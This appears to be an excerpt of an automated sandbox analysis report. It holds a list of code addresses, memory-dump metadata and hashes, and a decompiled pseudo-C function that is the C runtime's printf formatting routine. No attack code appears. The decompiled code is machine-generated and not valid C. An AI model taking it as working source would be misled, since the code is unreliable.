0x004347c9
0x004347cf
0x004347d6
0x004348e9
0x00000000
0x004348e9
0x004347dc
0x004347dc
0x004347e2
0x004347e2
0x004347e9
0x00000000
0x0043481f
0x0043481f
0x00434822
0x00434825
0x00434828
0x00434850
0x00434850
0x00434853
0x00434856
0x00434859
0x0043487e
0x0043487e
0x00434881
0x00434884
0x00434887
0x004348c0
0x004348d1
0x00000000
0x004348d1
0x00434889
0x00434889
0x0043488c
0x0043488f
0x00434892
0x00000000
0x00000000
0x00434894
0x00434894
0x00434897
0x0043489a
0x0043489d
0x00000000
0x00000000
0x0043489f
0x0043489f
0x004348a2
0x004348a5
0x004348a8
0x00000000
0x00000000
0x004348aa
0x004348aa
0x004348ad
0x004348b0
0x004348b3
0x00000000
0x00000000
0x004348b5
0x004348b5
0x004348b8
0x004348bb
0x004348be
0x004348c2
0x00000000
0x004348c2
0x00000000
0x004348be
0x0043485b
0x0043485b
0x0043485e
0x00434862
0x00434865
0x00000000
0x00434867
0x0043486a
0x0043486d
0x00434870
0x00434873
0x00434879
0x00000000
0x00434879
0x00434865
0x0043482a
0x0043482a
0x0043482d
0x00434831
0x00434834
0x00000000
0x00434836
0x00434839
0x0043483c
0x0043483f
0x00434842
0x00434848
0x00000000
0x00434848
0x00000000
0x004348d3
0x004348d6
0x004348d9
0x00000000
0x00000000
0x004347f0
0x004347f0
0x004347f3
0x004347f6
0x004347f9
0x00434811
0x00434814
0x00434814
0x00434817
0x004347fb
0x004347fe
0x00434801
0x00434807
0x0043480c
0x0043480c
0x00000000
0x00000000
0x004348de
0x004348de
0x004348e1
0x004348e1
0x004348e6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004348ee
0x004348ee
0x004348f5
0x00434901
0x00434904
0x0043490a
0x00434911
0x00435132
0x00435132
0x00435132
0x00435136
0x00000000
0x00000000
0x00000000
0x00435136
0x00435132
0x00434917
0x0043491d
0x0043491d
0x00434924
0x00000000
0x00434c7e
0x00434c7e
0x00434c85
0x00434c8c
0x00434c8c
0x00434c8f
0x00000000
0x00000000
0x0043492b
0x0043492e
0x0043492e
0x00434934
0x00434936
0x00434939
0x00434939
0x0043493e
0x0043493e
0x00000000
0x00000000
0x00434a6b
0x00434a6e
0x00434a6e
0x00434a73
0x00434a75
0x00434a78
0x00434a78
0x00434a7e
0x00434a7e
0x00000000
0x00000000
0x00434e4b
0x00434e4b
0x00000000
0x00000000
0x004349d5
0x004349d5
0x004349e1
0x004349e7
0x004349ee
0x004349fc
0x004349fc
0x00434a02
0x00434a05
0x00434a11
0x00434a66
0x00000000
0x00434a66
0x004349f0
0x004349f0
0x004349f6
0x004349fa
0x00434a16
0x00434a19
0x00434a19
0x00434a1f
0x00434a47
0x00434a4e
0x00434a54
0x00434a57
0x00434a5a
0x00434a60
0x00434a63
0x00434a21
0x00434a21
0x00434a27
0x00434a2a
0x00434a2d
0x00434a33
0x00434a36
0x00434a39
0x00434a3b
0x00434a3e
0x00434a3e
0x00000000
0x00434a1f
0x00000000
0x00000000
0x00434c95
0x00434c98
0x00434c9b
0x00434c9e
0x00434ca4
0x00434ca7
0x00434cae
0x00434cb2
0x00434cbd
0x00434cbd
0x00434cc1
0x00434cd8
0x00434cd8
0x00434cdf
0x00434ce1
0x00434ce1
0x00434ce8
0x00434ce8
0x00434cef
0x00434d00
0x00434d0f
0x00434d12
0x00434d16
0x00434d2c
0x00434d18
0x00434d18
0x00434d1b
0x00434d21
0x00434d27
0x00434d27
0x00434d16
0x00434d36
0x00434d39
0x00434d3c
0x00434d3f
0x00434d42
0x00434d45
0x00434d4b
0x00434d51
0x00434d59
0x00434d5a
0x00434d5d
0x00434d5e
0x00434d61
0x00434d62
0x00434d69
0x00434d6a
0x00434d6d
0x00434d6e
0x00434d71
0x00434d72
0x00434d78
0x00434d79
0x00434d87
0x00434d89
0x00434d8f
0x00434d8f
0x00434d95
0x00434d97
0x00434d9b
0x00434d9d
0x00434da5
0x00434da6
0x00434da9
0x00434daa
0x00434db8
0x00434dba
0x00434dba
0x00434d9b
0x00434dbd
0x00434dc4
0x00434dc7
0x00434dcc
0x00434dcc
0x00434dd2
0x00434dd4
0x00434ddc
0x00434ddd
0x00434de0
0x00434de1
0x00434df0
0x00434df2
0x00434df2
0x00434dd2
0x00434df5
0x00434df8
0x00434dfb
0x00434dfe
0x00434e03
0x00434e09
0x00434e0c
0x00434e0f
0x00434e0f
0x00434e12
0x00434e12
0x00434e15
0x00434e21
0x00435132
0x00435132
0x00435132
0x00435136
0x00000000
0x00000000
0x00000000
0x00435136
0x00000000
0x00435132
0x00434cc3
0x00434cc3
0x00434cca
0x00434ccd
0x00000000
0x00000000
0x00434ccf
0x00434ccf
0x00000000
0x00434ccf
0x00434cb4
0x00434cb4
0x00000000
0x00000000
0x00434941
0x00434944
0x00434944
0x0043494a
0x004349a5
0x004349ad
0x004349b4
0x004349ba
0x004349c0
0x0043494c
0x0043494c
0x00434956
0x0043495a
0x00434962
0x00434969
0x00434976
0x0043497d
0x00434989
0x0043498f
0x00434996
0x00434998
0x00434998
0x0043499f
0x004349c7
0x004349cd
0x00435132
0x00435132
0x00435132
0x00435136
0x00000000
0x00000000
0x00000000
0x00435136
0x00000000
0x00434e29
0x00434e2c
0x00434e2f
0x00434e32
0x00000000
0x00000000
0x00434b87
0x00434b87
0x00434b93
0x00434b99
0x00434b9e
0x00434ba0
0x00434c4a
0x00434c4d
0x00434c4d
0x00434c50
0x00434c64
0x00434c6a
0x00434c70
0x00434c52
0x00434c52
0x00434c5f
0x00434c5f
0x00434c72
0x00435132
0x00435132
0x00435132
0x00435136
0x00000000
0x00000000
0x00000000
0x00435136
0x00435132
0x00434ba6
0x00434ba6
0x00434ba6
0x00434ba8
0x00434bb6
0x00434baa
0x00434baa
0x00434baa
0x00434bc0
0x00434bc6
0x00434bcc
0x00434bd3
0x00434bd5
0x00434bda
0x00434bdc
0x00434be1
0x00434be6
0x00434be8
0x00434bed
0x00434bf0
0x00434bf3
0x00434bf5
0x00434bf5
0x00434bf3
0x00434bf6
0x00434bfd
0x00434c45
0x00435132
0x00435132
0x00435132
0x00435136
0x00000000
0x00000000
0x00000000
0x00435136
0x00434bff
0x00434bff
0x00434c04
0x00434c20
0x00434c28
0x00434c32
0x00434c35
0x00434c3a
0x00000000
0x00434c3a
0x00000000
0x00434e8c
0x00434e8c
0x00434e96
0x00434e96
0x00434e9c
0x00434e9e
0x00434ea1
0x00434ea1
0x00434ea7
0x00434ea7
0x00434eaa
0x00434ead
0x00434ead
0x00434eb2
0x00434ed4
0x00434ed4
0x00434eda
0x00434efc
0x00434efc
0x00434eff
0x00434f46
0x00434f46
0x00434f49
0x00434f66
0x00434f6a
0x00434f72
0x00434f72
0x00434f74
0x00434f7a
0x00434f4b
0x00434f4b
0x00434f4f
0x00434f57
0x00434f58
0x00434f5e
0x00434f5e
0x00434f01
0x00434f04
0x00434f04
0x00434f07
0x00434f25
0x00434f31
0x00434f34
0x00434f35
0x00434f3b
0x00434f09
0x00434f09
0x00434f0d
0x00434f15
0x00434f16
0x00434f17
0x00434f1d
0x00434f1d
0x00434f41
0x00434edc
0x00434edc
0x00434ee8
0x00434eee
0x00434eee
0x00434eb4
0x00434eb4
0x00434ec0
0x00434ec6
0x00434ec6
0x00434f83
0x00434f83
0x00434f86
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434a81
0x00434a81
0x00434a85
0x00434a93
0x00434a96
0x00434a87
0x00434a87
0x00434a87
0x00434a9c
0x00434aa2
0x00434aa8
0x00434ab4
0x00434aba
0x00434aba
0x00434ac0
0x00434b27
0x00434b27
0x00434b2b
0x00434b2d
0x00434b33
0x00434b33
0x00434b36
0x00434b39
0x00434b3f
0x00434b3f
0x00434b3f
0x00434b4b
0x00434b4e
0x00434b54
0x00434b56
0x00000000
0x00000000
0x00434b58
0x00434b58
0x00434b5e
0x00434b61
0x00434b63
0x00000000
0x00000000
0x00434b65
0x00434b6b
0x00434b6e
0x00434b6e
0x00434b76
0x00434b76
0x00434b7c
0x00434b7c
0x00434b7f
0x00000000
0x00434ac2
0x00434ac2
0x00434ac2
0x00434ac6
0x00434ac8
0x00434acd
0x00434acd
0x00434ad0
0x00434ad7
0x00434ada
0x00434ae0
0x00434ae0
0x00434ae0
0x00434aec
0x00434aef
0x00434af5
0x00434af7
0x00000000
0x00000000
0x00434af9
0x00434af9
0x00434aff
0x00434b02
0x00434b04
0x00000000
0x00000000
0x00434b06
0x00434b0c
0x00434b0f
0x00434b0f
0x00434b17
0x00434b1d
0x00434b20
0x00434b22
0x00434b82
0x00435132
0x00435132
0x00435132
0x00435136
0x00000000
0x00000000
0x00000000
0x00435136
0x00435132
0x00000000
0x00434e3b
0x00434e3b
0x00434eaa
0x00434eaa
0x00434ead
0x00434ead
0x00434eb2
0x00434ed4
0x00434ed4
0x00434eda
0x00434efc
0x00434efc
0x00434eff
0x00434f46
0x00434f46
0x00434f49
0x00434f66
0x00434f6a
0x00434f72
0x00434f72
0x00434f74
0x00434f7a
0x00434f4b
0x00434f4b
0x00434f4f
0x00434f57
0x00434f58
0x00434f5e
0x00434f5e
0x00434f01
0x00434f04
0x00434f04
0x00434f07
0x00434f25
0x00434f31
0x00434f34
0x00434f35
0x00434f3b
0x00434f09
0x00434f09
0x00434f0d
0x00434f15
0x00434f16
0x00434f17
0x00434f1d
0x00434f1d
0x00434f41
0x00434edc
0x00434edc
0x00434ee8
0x00434eee
0x00434eee
0x00434eb4
0x00434eb4
0x00434ec0
0x00434ec6
0x00434ec6
0x00434f83
0x00434f83
0x00434f86
0x00000000
0x00000000
0x00000000
0x00434f86
0x00000000
0x00434e57
0x00434e57
0x00434e61
0x00434e61
0x00434e6b
0x00434e6b
0x00434e71
0x00434e73
0x00434e7d
0x00434e7d
0x00434e80
0x00434e83
0x00434e83
0x00434eaa
0x00434eaa
0x00434ead
0x00434ead
0x00434eb2
0x00434ed4
0x00434ed4
0x00434eda
0x00434efc
0x00434efc
0x00434eff
0x00434f46
0x00434f46
0x00434f49
0x00434f66
0x00434f6a
0x00434f72
0x00434f72
0x00434f74
0x00434f7a
0x00434f4b
0x00434f4b
0x00434f4f
0x00434f57
0x00434f58
0x00434f5e
0x00434f5e
0x00434f01
0x00434f04
0x00434f04
0x00434f07
0x00434f25
0x00434f31
0x00434f34
0x00434f35
0x00434f3b
0x00434f09
0x00434f09
0x00434f0d
0x00434f15
0x00434f16
0x00434f17
0x00434f1d
0x00434f1d
0x00434f41
0x00434edc
0x00434edc
0x00434ee8
0x00434eee
0x00434eee
0x00434eb4
0x00434eb4
0x00434ec0
0x00434ec6
0x00434ec6
0x00434f83
0x00434f83
0x00434f86
0x00000000
0x00000000
0x00000000
0x00434f86
0x00000000
0x00435132
0x00435132
0x00435132
0x00435136
0x00000000
0x00000000
0x00000000
0x00435136
0x00000000
0x00000000
0x004346f1
0x004346f4
0x004346f7
0x00000000
0x00000000
0x004346fc
0x004346ff
0x00434704
0x00000000
0x00000000
0x004346e6
0x004346e6
0x004346e9
0x004346ec
0x00000000
0x00000000
0x004346db
0x004346de
0x004346e1
0x00000000
0x00000000
0x00434709
0x00434709
0x0043470c
0x0043470c
0x0043470f
0x00000000
0x00000000
0x00434712
0x00000000
0x00000000
0x004344ae
0x004344b0
0x004344be
0x004344b2
0x004344b2
0x004344b2
0x004344c8
0x004344ce
0x004344db
0x004344dd
0x004344e2
0x004344e4
0x004344e9
0x004344ee
0x004344f0
0x004344f5
0x004344fb
0x004344fd
0x004344fd
0x004344fb
0x004344fe
0x00434505
0x00000000
0x00434507
0x0043450c
0x00434528
0x00434530
0x0043453d
0x00434542
0x00435401
0x0043540e
0x0043540e
0x00434505
0x004344a8
0x0043533d
0x0043533d
0x00435344
0x0043535b
0x0043535b
0x00435365
0x00435365
0x0043536b
0x00435371
0x00435378
0x0043537a
0x0043537f
0x00435381
0x00435386
0x0043538b
0x0043538d
0x00435392
0x00435395
0x00435398
0x0043539a
0x0043539a
0x00435398
0x0043539b
0x004353a2
0x004353ed
0x004353f6
0x004353fb
0x004353a4
0x004353a9
0x004353c5
0x004353cd
0x004353da
0x004353df
0x004353df
0x00000000
0x004353a2
0x00435346
0x00435346
0x0043534d
0x00000000
0x00000000
0x0043534f
0x0043534f
0x00000000
0x0043534f
0x00435132
0x00435109
0x00435109
0x0043510d
0x0043511a
0x0043511d
0x00435120
0x00435123
0x00435126
0x00435129
0x0043512c
0x0043512c
0x0043512f
0x00000000
0x0043512f
0x0043510f
0x0043510f
0x00435112
0x00435115
0x00435118
0x00000000
0x00000000
0x00000000
0x00435118
0x00435071
0x00435071
0x00435074
0x00435077
0x0043507e
0x00435085
0x0043508d
0x00435093
0x00435096
0x00435099
0x004350a0
0x004350ac
0x004350b2
0x004350b8
0x004350bf
0x004350c1
0x004350c7
0x004350c7
0x004350cd
0x004350cd
0x004350d3
0x004350d6
0x004350dc
0x004350e1
0x004350e4
0x00435053
0x00435053
0x00435059
0x0043505c
0x0043505f
0x00435061
0x00000000
0x00000000
0x00000000
0x00435061
0x00435053
0x00434f93
0x00434f93
0x00434f9a
0x00000000
0x00000000
0x00000000
0x00434fc8
0x00434fc8
0x00434fce
0x00434fd4
0x00434fda
0x00000000
0x00434fda
0x00434eaa
0x00434e61
0x00434e4b

APIs

_get_int64_arg.LIBCMTD ref: 00434EB8
__aullrem.LIBCMT ref: 00435085
__aulldiv.LIBCMT ref: 004350A7

Strings

9, xrefs: 004350B8
0, xrefs: 00434E73

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: 76da64b256d11849294680e3a813e2a7cc0df4d81c5920740c53fe005e65e8af
Instruction ID: 79f6c6d339df77a9c45c0fd4aad038fecd8a22d359485f14951b9a77f4b128ca
Opcode Fuzzy Hash: 76da64b256d11849294680e3a813e2a7cc0df4d81c5920740c53fe005e65e8af
Instruction Fuzzy Hash: 20410571D15628DFEB24CF58C899BEEB7B5BB88304F2491DAD008A7240C7396E85CF85

Uniqueness

Uniqueness Score: -1.00%

Function 00427BD5, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00427BD5() {
				signed int _t478;
				signed int _t524;

				L0:
				while(1) {
					L0:
					 *(_t524 - 0x30) = 8;
					while(1) {
						L137:
						 *(__ebp - 0x260) = 7;
						while(1) {
							L139:
							 *(__ebp - 8) = 0x10;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
							__eflags =  *(__ebp - 0x10) & 0x00000080;
							if(( *(__ebp - 0x10) & 0x00000080) != 0) {
								 *(__ebp - 0x14) = 0x30;
								 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
								__eflags =  *(__ebp - 0x260) + 0x51;
								 *((char*)(__ebp - 0x13)) = __al;
								 *(__ebp - 0x1c) = 2;
							}
							while(1) {
								L144:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
										__eflags =  *(__ebp - 0x10) & 0x00000020;
										if(( *(__ebp - 0x10) & 0x00000020) == 0) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												__eax = E00428200(__ebp + 0x14);
												__edx = 0;
												__eflags = 0;
												 *(__ebp - 0x2b0) = __eax;
												 *(__ebp - 0x2ac) = 0;
											} else {
												__eax = __ebp + 0x14;
												__eax = E00428200(__ebp + 0x14);
												asm("cdq");
												 *(__ebp - 0x2b0) = __eax;
												 *(__ebp - 0x2ac) = __edx;
											}
										} else {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												E00428200(__ebp + 0x14) = __ax & 0x0000ffff;
												asm("cdq");
												 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
												 *(__ebp - 0x2ac) = __edx;
											} else {
												__eax = __ebp + 0x14;
												__eax = E00428200(__ebp + 0x14);
												__ax = __eax;
												asm("cdq");
												 *(__ebp - 0x2b0) = __eax;
												 *(__ebp - 0x2ac) = __edx;
											}
										}
									} else {
										__eax = __ebp + 0x14;
										 *(__ebp - 0x2b0) = E00428220(__ebp + 0x14);
										 *(__ebp - 0x2ac) = __edx;
									}
								} else {
									__ecx = __ebp + 0x14;
									 *(__ebp - 0x2b0) = E00428220(__ebp + 0x14);
									 *(__ebp - 0x2ac) = __edx;
								}
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
								__eflags =  *(__ebp - 0x10) & 0x00000040;
								if(( *(__ebp - 0x10) & 0x00000040) == 0) {
									goto L161;
								}
								L157:
								__eflags =  *(__ebp - 0x2ac);
								if(__eflags > 0) {
									goto L161;
								}
								L158:
								if(__eflags < 0) {
									L160:
									 *(__ebp - 0x2b0) =  ~( *(__ebp - 0x2b0));
									__edx =  *(__ebp - 0x2ac);
									asm("adc edx, 0x0");
									__edx =  ~( *(__ebp - 0x2ac));
									 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b0));
									 *(__ebp - 0x2b4) =  ~( *(__ebp - 0x2ac));
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									L162:
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
									__eflags =  *(__ebp - 0x10) & 0x00008000;
									if(( *(__ebp - 0x10) & 0x00008000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
										__eflags =  *(__ebp - 0x10) & 0x00001000;
										if(( *(__ebp - 0x10) & 0x00001000) == 0) {
											__edx =  *(__ebp - 0x2b8);
											__eax =  *(__ebp - 0x2b4);
											__eax =  *(__ebp - 0x2b4) & 0x00000000;
											__eflags = __eax;
											 *(__ebp - 0x2b4) = __eax;
										}
									}
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) >= 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										__eflags =  *(__ebp - 0x30) - 0x200;
										if( *(__ebp - 0x30) > 0x200) {
											 *(__ebp - 0x30) = 0x200;
										}
									} else {
										 *(__ebp - 0x30) = 1;
									}
									 *(__ebp - 0x2b8) =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
									__eflags =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
									if(( *(__ebp - 0x2b8) |  *(__ebp - 0x2b4)) == 0) {
										 *(__ebp - 0x1c) = 0;
									}
									__eax = __ebp - 0x49;
									 *(__ebp - 4) = __ebp - 0x49;
									while(1) {
										L172:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L174;
										}
										L173:
										 *(__ebp - 0x2b8) =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
										__eflags =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
										if(( *(__ebp - 0x2b8) |  *(__ebp - 0x2b4)) == 0) {
											L177:
											__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
											 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
											__ecx =  *(__ebp - 4);
											__ecx =  *(__ebp - 4) + 1;
											 *(__ebp - 4) = __ecx;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
											__eflags =  *(__ebp - 0x10) & 0x00000200;
											if(( *(__ebp - 0x10) & 0x00000200) == 0) {
												while(1) {
													L181:
													__eflags =  *(__ebp - 0x28);
													if( *(__ebp - 0x28) != 0) {
														goto L207;
													}
													L182:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
														__eflags =  *(__ebp - 0x10) & 0x00000100;
														if(( *(__ebp - 0x10) & 0x00000100) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
															__eflags =  *(__ebp - 0x10) & 0x00000001;
															if(( *(__ebp - 0x10) & 0x00000001) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
																__eflags =  *(__ebp - 0x10) & 0x00000002;
																if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																	 *(__ebp - 0x14) = 0x20;
																	 *(__ebp - 0x1c) = 1;
																}
															} else {
																 *(__ebp - 0x14) = 0x2b;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															 *(__ebp - 0x14) = 0x2d;
															 *(__ebp - 0x1c) = 1;
														}
													}
													 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x2bc) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
													__eflags =  *(__ebp - 0x10) & 0x0000000c;
													if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
														__edx = __ebp - 0x24c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x2bc);
														__eax = E004355C0(0x20,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
													}
													__edx = __ebp - 0x24c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x1c);
													__edx = __ebp - 0x14;
													E00435600( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x24c) =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) & 0x00000008;
													__eflags =  *(__ebp - 0x10) & 0x00000008;
													if(( *(__ebp - 0x10) & 0x00000008) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) == 0) {
															__edx = __ebp - 0x24c;
															__eax =  *(__ebp + 8);
															__ecx =  *(__ebp - 0x2bc);
															__eax = E004355C0(0x30,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
														}
													}
													__eflags =  *(__ebp - 0xc);
													if( *(__ebp - 0xc) == 0) {
														L203:
														__ecx = __ebp - 0x24c;
														__edx =  *(__ebp + 8);
														__eax =  *(__ebp - 0x24);
														__ecx =  *(__ebp - 4);
														__eax = E00435600(__ecx, __ecx,  *(__ebp - 0x24),  *(__ebp + 8), __ebp - 0x24c);
														goto L204;
													} else {
														L195:
														__eflags =  *(__ebp - 0x24);
														if( *(__ebp - 0x24) <= 0) {
															goto L203;
														}
														L196:
														 *(__ebp - 0x2d4) = 0;
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x2c0) =  *(__ebp - 4);
														__eax =  *(__ebp - 0x24);
														 *(__ebp - 0x2c4) =  *(__ebp - 0x24);
														while(1) {
															L197:
															__ecx =  *(__ebp - 0x2c4);
															 *(__ebp - 0x2c4) =  *(__ebp - 0x2c4) - 1;
															 *(__ebp - 0x2c4) =  *(__ebp - 0x2c4) - 1;
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L198:
															__eax =  *(__ebp - 0x2c0);
															 *(__ebp - 0x316) =  *( *(__ebp - 0x2c0));
															__edx =  *(__ebp - 0x316) & 0x0000ffff;
															__eax = __ebp - 0x2d0;
															__ecx = __ebp - 0x2c8;
															 *(__ebp - 0x2d4) = E004340D0(__ebp - 0x2c8, __ebp - 0x2d0, 6,  *(__ebp - 0x316) & 0x0000ffff);
															 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) + 2;
															 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) + 2;
															__eflags =  *(__ebp - 0x2d4);
															if( *(__ebp - 0x2d4) != 0) {
																L200:
																 *(__ebp - 0x24c) = 0xffffffff;
																break;
															}
															L199:
															__eflags =  *(__ebp - 0x2c8);
															if( *(__ebp - 0x2c8) != 0) {
																L201:
																__eax = __ebp - 0x24c;
																__ecx =  *(__ebp + 8);
																__edx =  *(__ebp - 0x2c8);
																__ebp - 0x2d0 = E00435600( *(__ebp + 8), __ebp - 0x2d0,  *(__ebp - 0x2c8),  *(__ebp + 8), __ebp - 0x24c);
																continue;
															}
															goto L200;
														}
														L202:
														L204:
														__eflags =  *(__ebp - 0x24c);
														if( *(__ebp - 0x24c) >= 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
															__eflags =  *(__ebp - 0x10) & 0x00000004;
															if(( *(__ebp - 0x10) & 0x00000004) != 0) {
																__eax = __ebp - 0x24c;
																__ecx =  *(__ebp + 8);
																__edx =  *(__ebp - 0x2bc);
																__eax = E004355C0(0x20,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
															}
														}
													}
													L207:
													__eflags =  *(__ebp - 0x20);
													if( *(__ebp - 0x20) != 0) {
														 *(__ebp - 0x20) = L0041C3E0( *(__ebp - 0x20), 2);
														 *(__ebp - 0x20) = 0;
													}
													while(1) {
														L209:
														 *(_t524 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
														 *((intOrPtr*)(_t524 + 0xc)) =  *((intOrPtr*)(_t524 + 0xc)) + 1;
														if( *(_t524 - 0x251) == 0 ||  *(_t524 - 0x24c) < 0) {
															break;
														} else {
															if( *(_t524 - 0x251) < 0x20 ||  *(_t524 - 0x251) > 0x78) {
																 *(_t524 - 0x2fc) = 0;
															} else {
																 *(_t524 - 0x2fc) =  *( *(_t524 - 0x251) + 0x404460) & 0x0000000f;
															}
														}
														L7:
														 *(_t524 - 0x250) =  *(_t524 - 0x2fc);
														_t19 =  *(_t524 - 0x250) * 8; // 0x6000006
														 *(_t524 - 0x25c) =  *( *(_t524 - 0x25c) + _t19 + 0x404480) >> 4;
														 *(_t524 - 0x300) =  *(_t524 - 0x25c);
														if( *(_t524 - 0x300) > 7) {
															continue;
														}
														L8:
														switch( *((intOrPtr*)( *(_t524 - 0x300) * 4 +  &M004280F8))) {
															case 0:
																L9:
																 *(_t524 - 0xc) = 0;
																_t483 = E004310C0( *(_t524 - 0x251) & 0x000000ff, E0041ACF0(_t524 - 0x40));
																_t528 = _t526 + 8;
																if(_t483 == 0) {
																	L15:
																	E00435520( *(_t524 - 0x251) & 0x000000ff,  *(_t524 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t524 + 8)), _t524 - 0x24c);
																	_t526 = _t528 + 0xc;
																	goto L209;
																} else {
																	E00435520( *((intOrPtr*)(_t524 + 8)),  *(_t524 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t524 + 8)), _t524 - 0x24c);
																	_t528 = _t528 + 0xc;
																	_t509 =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
																	 *(_t524 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
																	_t513 =  *((intOrPtr*)(_t524 + 0xc)) + 1;
																	 *((intOrPtr*)(_t524 + 0xc)) = _t513;
																	asm("sbb eax, eax");
																	 *(_t524 - 0x278) =  ~( ~( *(_t524 - 0x251)));
																	if(_t513 == 0) {
																		_push(L"(ch != _T(\'\\0\'))");
																		_push(0);
																		_push(0x486);
																		_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																		_push(2);
																		_t495 = L0041E220();
																		_t528 = _t528 + 0x14;
																		if(_t495 == 1) {
																			asm("int3");
																		}
																	}
																	L13:
																	if( *(_t524 - 0x278) != 0) {
																		goto L15;
																	} else {
																		 *((intOrPtr*)(L00422D10(_t509))) = 0x16;
																		E00422AA0(_t497, _t509, _t522, _t523, L"(ch != _T(\'\\0\'))", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																		 *(_t524 - 0x2e4) = 0xffffffff;
																		E0041ACC0(_t524 - 0x40);
																		_t478 =  *(_t524 - 0x2e4);
																		goto L211;
																	}
																}
															case 1:
																L16:
																 *(__ebp - 0x2c) = 0;
																__edx =  *(__ebp - 0x2c);
																 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																__eax =  *(__ebp - 0x28);
																 *(__ebp - 0x18) =  *(__ebp - 0x28);
																__ecx =  *(__ebp - 0x18);
